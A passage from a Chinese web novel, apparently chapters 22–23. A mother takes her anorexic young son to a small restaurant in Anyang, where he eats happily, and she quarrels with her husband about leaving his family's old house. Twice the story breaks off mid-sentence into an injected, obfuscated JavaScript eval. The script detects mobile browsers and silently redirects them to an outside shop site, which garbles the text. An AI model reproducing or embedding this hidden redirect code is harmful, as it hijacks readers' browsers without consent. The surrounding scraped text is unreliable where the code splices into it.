做强。 每当听到这话，爸爸的脸色都会变得很勉强。 虽然他还在笑，但是对于人感情很敏锐的蒋家齐，觉得爸爸的笑没有之前灿烂了。 他不想让爸爸失望，努力尝试着跟弟弟学习，却总是做的不如弟弟好。 蒋家齐觉得自己真没用，厌恶的情绪深深影响了小小的身体，蒋家齐对于食物出现了厌恶的情绪。 齐明月很快察觉到了蒋家齐的心病，也积极带儿子去看知名的心理医生。 医生尖锐地指出问题所在，这样的应激性厌食，必须让病人远离之前的环境，去一个温和的环境里尝试自愈。 蒋家齐人小，医生和齐明月达成共识，先不要用药，毕竟是药三分毒，蒋家齐还有很长的人生要走。 齐明月回家后和蒋其明大吵一架，她要求蒋其明搬出老宅去住，离开那个窒息的环境。 但是蒋其明苦于还得讨好老父亲的理由，迟迟不愿搬离。 他的理由也很简单，目前老爷子已经偏爱大哥家的一对儿女了，小孙子更是极度受宠。 要是留大哥一家在老宅居住，日日联络感情，本就偏心的老爷子肯定更会照顾大房一家。 蒋其明在公司勤勤恳恳，怎么可能没有接手公司的野心。平庸的大哥在公司被他挤出核心部门，只能在后勤养老度日。 要是让他们一家在儿子这一辈翻身，蒋其明能怄死。 他和大哥也是一路比过来的，又不是只有儿子在小时候经受这么大的压力。 同样的事他也在小时候就早早经历了，望子成龙的母亲，打压教育的父亲。 他现在努力工作也是为了儿子的将来，多赚点钱留给子孙后代，也算是他的一份心意。 但是前一日齐明月的爆发，让蒋其明意识到自己的错误。 他太自大了，以为儿子也能像他这个父亲一样，在压力中成长，没有考虑人与人之间的不同。 在齐明月摔门而去后，蒋其明动摇了，他对于自己的妻儿还是很看重的，他看到了齐明月温柔外表下的坚强决心。 一个母亲为自己儿子什么都可以抛弃，哪怕是他这个丈夫。 他既担心齐明月被骗，又担心齐明月是否真的厌恶自己在儿子遭遇上的不作为或者说是理想当然。 才定了最早的红眼航班飞往安阳，自己先齐明月一步去了小饭馆。 小饭馆没有让他失望，他知道齐明月决绝地前来，决绝到和他大吵一架是正确的。 可突然在这样暖黄的灯光下，妻子温柔地整理行李。 他原先对于齐明月和儿子的歉意说不出口了，他说不出像“老婆，我提前你说的那个饭店，真的像你说的那样好吃，对儿子肯定有效，”之类的话。 一向自信非常的蒋其明，突然get到低调为何物，他想还是等齐明月自己感受吧。 齐明月终于被蒋其明专注的目光看烦了，闷头呆瓜一样，半天说不出一句话，毫无犹豫地将自己老公赶出门，她还要好好休息迎接明天的旅程呢。 22. 小猪开动 翌日一早，九岁的蒋家齐从陌生的酒店房间醒来，发呆了好一会，才意识到自己被妈妈带出来旅游了。 两条麻杆样的瘦腿，慢悠悠从床上滑到地毯上，刚站上去一会，蒋家齐还在动动脚趾感受羊毛在指缝间穿梭的微微痒感。 一直照顾他的保姆许妈穿戴整齐开门进来，一进来就大呼小叫：“哎呀，小齐，你醒了，快快穿上袜子去洗漱，刚刚太太说了咱们要早点出发呢。” 蒋家齐愣愣地点点头，自己弯着腰穿袜子耐受，干脆一屁股做在图案繁复华丽的羊毛地毯上，等着许妈将今天要穿的裤子外套拿给他。 许妈看着乖乖坐在地上穿袜子的小家齐，感到一整心酸。 她从家齐刚出生就到蒋家当保姆，毫不客气地说蒋家齐是她从小照顾到大的。 可是这样一个小男孩，一米三的身高，却只有二十七斤。瘦瘦高高，大腿还没有人家壮实小朋友的手臂粗。 平常吃饭都得哄着，才勉强吃上几口，不肯再吃就立马滑下椅子跑回房间。 蒋家齐是个很体贴善良的小朋友，对她很好，两个人经常依偎在一起，许妈半搂着蒋家齐，听蒋家齐奶声奶气地讲绘本上的故事。 但是许妈只是个保姆，看着蒋家齐越来越沉默，越来越不爱吃东西，许妈除了在网上找各种美食食谱变着花样做之外也无可奈何。 蒋家齐父母健在，还有个控制欲很强的爷爷，三人都有自己事业要忙，对蒋家齐要求很高。 近半年来，通过许妈的不断游说，蒋太太齐明月才意识到孩子的异常，她是个服装设计师，平日里还得打理自己的服装品牌。 赶上服装发布会更是早出晚归，只有到深夜赶回家看望已经熟睡的儿子。 齐明月带着蒋家齐去了正规的医院确诊了厌食症，但是这么小的孩子，医生只支持一些心理疏导和生活疗法。 目前来看，见效微乎其微，如果蒋家齐状态还不能好转，医生就要开营养液给他输了。 很快，收拾好的三人叫了出租车前往郭家小馆。 出租车司机是个善谈的中年光头男，一直热情和她们搭话，给她们推荐安阳的风景名胜。 “安阳可是千年古镇，前十几年才改为市建制。但是小地方嘛，大山大河是不多，我们这庙多街多，很多都是以前的老建筑了，政府特意保护下来改做的商业区。” “离你们要去的幸福街道不远，大概两千米还有个老宅改的博物馆，郭宅，那是个世代传承的厨师世家，出过好些个御厨。” 司机笑呵呵说道：“说不定你们要去的郭家小馆，老板就是郭宅的后人嘛，都姓郭。” 齐明月有心事，脸上带着勉强的礼貌性微笑，倒是许妈感兴趣多问了两句。 不大的安阳小城，两个相对的城区，几乎是从城市的西边到东边，开车也不过三十几分钟。 齐明月牵着儿子的手走在前头，还未真真抵达郭家小馆，已经听到了沸腾的人声。 早练的大爷大妈们从小饭馆的方向走来，一边摸着圆滚滚的肚子，一边商量着今天是去附近公园还是那条清溪边晨练。 忙碌的打工人，一个个手里都提着印着一个草书郭字的透明食品袋，多者甚至拎着十几个，一看就是走读生的成人plus版。 是肉夹馍，齐明月偷瞄到，内心还有点小激动。她在少年时期跟随工作变动的父母在陕省生活过五六年，算是她的第二故乡。 平常走路上学，最方便的陕省早餐就是一个个圆乎乎酥脆外皮的肉夹馍，一直是齐明月的心头肉。 毕业后在海市工作，结婚生子，到如今十几年，竟是再未回过陕省。如今这一见肉夹馍，齐明月还甚是想念。 原本满腹心事的齐明月，对今天的行程多了几分期待。 郭家小饭馆今日早食是肉夹馍和各色小粥，定制的打包袋和打包盒昨日才刚刚送达。 齐明月三人抵达时，肉夹馍的重要配角白吉馍宣告售罄，下一锅还要等个十来分钟。 小黑板上的现写菜单提示今日一共提供三种粥品，分别是皮蛋瘦肉粥，南瓜粥和原味白粥，小菜咸菜自取。 齐明月干脆三钟粥各点了一份，这里的粥是用小砂锅装的，不是寻常的一小碗，份量足够二人食用。 若是一个人单吃，则是跟其他单买的人一起拼。 小菜倒是多样，臭苋菜梗、香酥小鱼干、自制榨菜、腌雪菜、现炸果仁，酸豆角、秘制腐乳、八宝菜、香辣海带丝、拍黄瓜，凑了个十全十美。 齐明月和许妈两人一起选了几样感兴趣的，两人都不约而同避开了臭苋菜，嗅觉实在经受不起这样的打击。 不过还是有人钟爱这一口的，有个坐旁边的胖老头，十分喜爱这臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347464|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可闻的霉苋菜梗，时不时咬上一截，配上白粥美滋滋。 等二人回到座位时，贴心的蒋家齐已经拿好了碗筷小，乖乖坐在椅子上等着自己的妈妈。 齐明月低声问他：“小齐，你想喝什么粥，这个南瓜粥是甜甜的口感，皮蛋瘦肉粥你以前在家里也吃过。” 蒋家齐性质缺缺，扫了一眼桌上，南瓜粥发出的甜蜜味道吸引了他，小声说道：“妈妈，我喝南瓜粥吧。” 许妈抢着给蒋家齐装了南瓜粥，还将拿来的小菜特意摆在蒋家齐附近，虽然咸菜和甜粥不大搭。 选取的农家老南瓜，经水汽热蒸，口感变得绵密香甜，轻松捣烂后，放入经过几小时熬制的开花米粥中，连带着米粥都散发出甜蜜香气。 蒋家齐入口第一感觉就是香甜，温暖的热流流入胃中，给早秋的早晨带来暖意。 蒋家齐觉得自己被包裹着的身体暖起来了。浓郁的南瓜香气和淡淡的米味，恰到好处的融合，给食客带来暖心的体验。 甜甜的口感也很符合小孩子的口味，满满一小半碗南瓜粥，都被蒋家齐挥舞着勺子解决。 密切关注蒋家齐的齐明月心中松了一口气，今天这一小碗南瓜粥的量，平日里还得哄着蒋家齐才能面色难看地吃下。 蒋家齐经过南瓜粥的洗礼，眼睛亮闪闪地盯着桌上的小砂锅。 齐明月担心蒋家齐摄入太多糖，给他强烈推荐再尝尝皮蛋瘦肉粥。蒋家齐虽然心里还念着甜甜的南瓜粥，对皮蛋瘦肉粥也接受。 很快从齐明月手中接过一小碗皮蛋瘦肉粥，齐明月第一选的也是这粥。 两人同时享用皮蛋瘦肉粥，有五六分相似的两张脸庞在品尝的同时流露出相似的满足感。 皮蛋是郭婵给江坏德腌咸鸭蛋是顺手一起腌的，经过整整一个月的储放，在硫化氢和氨的作用下，鸭蛋的蛋黄变成深绿色或者灰色，具有奶油般的粘稠度和奇异的风味；蛋清则变成深棕色，半透明的果冻状，口感特殊。 配上新鲜汁水满满的猪肉条和熬煮到开花的大米粥，口感鲜滑爽口，别有一番风味。 蒋家齐吃了南瓜粥后胃口大开，小猪吨吨吨般埋头小碗喝粥，齐明月还时不时给蒋家齐投喂各色小菜，吃得蒋家齐满足地摸着自己圆滚滚的肚子瘫在椅子上。 两碗小粥下肚，重量级嘉宾才堪堪登场，肉夹馍新鲜出炉喽。 23. 争吵 意想不到的人出现了。 “爸爸！”蒋家齐惊喜叫道，顺着肉夹馍的香气从心抬头的蒋家齐看到眼前端着一盘子肉夹馍的人居然是应该在海市上班的爸爸蒋其明。 蒋其明温柔笑笑，偷窥齐明月脸色，小心翼翼坐在齐明月旁边，蒋家齐的对面。 郭婵今日做的是传统的腊汁肉夹馍。选用猪肋排下的带皮五花肉，先腌后卤。 肥瘦相间的五花肉腌制三到四天后，成风干腊肉放入老卤汁中两个小时卤煮制熟，捞出后加入卤汁细细剁碎，卤腊肉吸满了咸香适度的汁水，在放入酥脆可口的白吉馍中。 这样的肉夹馍征服了所有食客的心，等在店中的食客们，双手举着肉夹馍，连皮带肉咬下狠狠一大块。 外馍酥脆有韧劲，内里猪肉软烂，汁水溢出，沾到手指，不少人还不放过，细细吮吸。 蒋家齐目光灼灼地盯着肉夹馍，可惜齐明月怕他积食，只分了半个给他。 剩下半个掰得破破烂烂包不住肉的白吉馍，被推给了蒋其明。 蒋其明以为齐明月已经放下心事原谅他了，开开心心接过那个半个白吉馍吃起来。 惦记了一夜的红烧肉，虽然今天没吃到，但是肉夹馍也滋味绝妙，他能吃两个半。 四人将点的粥品和肉夹馍席卷而空，满足的抱着肚子瘫在椅子上。 齐明月看着自家儿子眯着眼幸福地摸圆滚滚的肚子，只觉得哪哪都可爱。 蒋其明起身去结账，还额外预订了两个肉夹馍，他们上午准备去附近的那个御厨世家旧宅改制的博物馆参观一下，预备着路上饿了吃。 回来看到妻儿都一副幸福的模样，蒋其明觉得妻子闹着搬离蒋家旧宅的事有解了。 他当然心疼儿子，但现在儿子的病可以通过郭家小馆解决，能不搬离蒋家最好。 一个厨子，他有的是钱可以请郭婵去海市当他们蒋家的私厨。 开在街道里面的小饭馆，定价虽然算是中上，但比起美妙滋味来说太便宜了。 见齐明月起身，蒋其明贴心地帮她拉开椅子，俯身在齐明月耳边悄悄私语：“老婆，我到时候将郭老板请去蒋家当我们的私厨，这样儿子的病肯定能够好，她的手艺肯定能征服我那个挑嘴的父亲，两全其美。” 却不知齐明月听到这话，错愕地瞪着她，顾虑着四周的客人，压低声音：“你什么意思？你还想留在老宅里，你又不是不知道爸是什么人。” 见蒋其明还想争辩，齐明月用力撇开他放在自己上臂的手，拉着蒋家齐头也不回的离开。 蒋其明在身后叫她的名字，却不见齐明月回头，只有蒋家齐被带着踉踉跄跄地走，还不忘回头看爸爸。 齐明月气到想当场打爆蒋其明的狗头，要不是顾忌还是公共场所，不能恩将仇报将郭老板陷入不义之地。 她就不是直接撇下蒋其明走了。 齐明月一天的好心情都被蒋其明寥寥几句毁了，在车上压抑着自己情绪，希望自己能够陪儿子度过接下来几小时的亲子时光。 可临到下车的时候，还是憋不住自己这股气，嘱咐许妈照顾蒋家齐游玩，中午在小饭馆见后。 齐明月直接坐车回酒店和蒋其明算账，怕蒋其明乱跑她找不见人，没忘记给蒋其明发信息叫他赶紧回酒店。 蒋其明还emo着，自己又惹老婆生气了，就接到老婆的讯息，叫他回酒店。 他怕齐明月有急事，也连忙打车回去，没顾上自己之前点的额外两个肉夹馍。 叶九仟在后面追他，大喊：“你的肉夹馍！”也没得到蒋其明的一个回眸。 反而人群中有人接了一句：“不，是你的肉夹馍。”引得大家哄堂大笑。 不看电视的老古板鸟摸摸脑袋，看着笑得前仰后合的人们，只觉莫名其妙。 蒋其明推开齐明月所在套房的门，一个飞来横物擦着他的头发叮咚落在铺满毛毡地毯的酒店走廊。 回头一看，是一串钥匙，身前是怒目的齐明月，身后是蒋家老宅的钥匙。 蒋其明犹豫许久，还是先捡起钥匙再进门，俯身捡起的同时还要防备屋内的齐明月再度发力。 齐明月结婚后为了蒋家的面子做贤妻良母，其实他俩恋爱是的相处模式是野蛮女友和呆瓜小帅哥。 齐明月作为家中独女，备受宠爱，被极具忧患意识的的齐家父母送去学了十来年的跆拳道。 两人初识，就是武力充沛的齐明月从小混混手里救下了蒋其明。 从来没见过这样女孩子的蒋其明一见钟情了，还各种约她吃饭请她出来玩，两人因此谈起恋爱来。 工作后，成为总裁处理各种集团事务的蒋其明越发强势起来，混贵妇圈的齐明月也当起温柔顾家的贤妻良母。 齐明月搞这一出，反而让蒋其明回味起过去两人谈恋爱的时光。 蒋其明小心翼翼挪进屋内，挪近齐明月。齐明月刚才那一下爆发，也有些后悔，要是伤到人就不好了。 齐明月咬牙坐在沙发上，直言：“要么搬出蒋家，要么离婚我带小齐生活。” 蒋其明只觉得天旋地转，一下慌了神，急忙道：“怎么就到了离婚的地步了呢？” 齐明月转向蒋其明的方向，做了近视眼手术，梳着大背头，她已经很少在蒋其明身上看到以前那个腼腆男孩的影子了。 泪水突然顺着脸庞留下，齐明月哽咽：“你变得好陌生，你以前总是迁就我，想着我，可你现在满心满眼都是你的事业，你的公司，就连儿子的健康也得排在你的事业之后。” “我很早就有这个想法了，儿子是我辛苦十月怀胎生下来了，看到他生病我心如刀绞啊！” 齐明月擦擦泪，跟蒋其明表态：“要么搬出蒋家老宅，要么我们两个离婚我带着小齐走，你自己选吧。” 她起身离开，只留下一句：“我累了，你考虑一下吧，我们的婚姻还有延续的必要吗？” 蒋其明在齐明月说出离婚时，已经呆愣住，他没想到事态已经严重到这个地步了。 事业和家庭，他必须做出选择。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347465|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他坐在沙发上，低垂着头，梳得整整齐齐的大背头凌乱两三束头发垂落在额头，空间里的气氛变得寂静，让人窒息。 等齐明月收拾好心情，准备出门和儿子相聚时，原本在沙发上的蒋其明已经不见踪影。 她目光晦暗看着沙发，空无一人，一声叹息，她走出房间。 蒋家齐和许妈两人手牵着手，他蹦蹦跳跳着走近郭家小饭馆，早上发生的事在一通玩闹后在他心里没有留下任何阴影。 许妈找位置坐下后，收到齐明月短信，她会在十分钟抵达小饭馆，让许妈和蒋家齐饿的话先点餐。 细心询问蒋家齐，得到否定的答案后，许妈还是选择等齐明月来了后再点餐。 蒋家齐仰着小脸问许妈“许奶奶，我可以去前台看看有什么菜吗？” 许妈鼓励他去，目送着蒋家齐走到前台，垫脚看挂在前台后墙上的小黑板。 今日菜单：乳腐肉和锅包肉套餐，35元/每份。 锅包肉他吃过，脆脆甜甜的，他喜欢。但是这个乳腐肉是什么呢？蒋家齐疑惑地望向后厨方向，抽抽鼻子，妄图从后厨散发的一阵阵香味中发现乳腐肉的味道。 刚好郭婵从后厨出来休息一下，看到一个萌萌哒小孩站在前台，便问他有什么事。 蒋家齐不知道眼前这个好看的小姐姐就是这家店的老板兼厨师，只觉得她很亲切。 不自觉地问出了困惑自己很久的问题：“乳腐肉是什么呀？” 郭婵蹲下身耐心地告诉他：“乳腐肉呢，是猪肋肉加上红腐乳制成，你这样的小孩子呀只能尝一尝，里面加了黄酒。” 蒋家齐乖乖点头，正好齐明月在身后叫他。他跑向齐明月，拉着母亲的手折返回来点餐。 齐明月在蒋家齐陆陆续续的话语中，知道他对乳腐肉很有兴趣，但是老板说里面加了黄酒不适合小孩子。 所以她给自己点了乳腐肉套餐，给蒋家齐点的锅包肉套餐。 套餐的标准是一荤三素一汤，例汤和素菜是固定的。三个素菜分别是：酸辣土豆丝、番茄炒鸡蛋和油焖茄子。 乳腐肉先端上桌，同样选用猪肋排下的带皮五花肉，煮到六七成熟后，取出过凉水，冷后切成大片，每片都须带肉皮，用煮肉原汤入锅，红腐乳碾烂，加入冰糖、黄酒，小火慢炖。 齐明月只给蒋家齐分了一片，乳腐肉颜色红亮，刺激着蒋家齐的味蕾。 蒋家齐一口咽下，乳腐肉嫩如豆腐，提味的红腐乳完美融合，偏咸口的菜最是下饭。 点给他的锅包肉，更是让蒋家齐胃口大开，吃下一整碗堆得毛尖的大米饭。 作为东北名菜的锅包肉，如今大多数都改良成了酸甜口味。精瘦的猪里脊肉，切片腌入味，裹上生粉面粉调配的炸浆。 两遍炸透，回锅浇上酸甜口味的酱汁，外表酥脆，内里软嫩，口感酸酸甜甜的锅包肉非常合蒋家齐的口味。 蒋家齐吃得开心时，齐明月接到了一个意想不到的电话。 “什么？”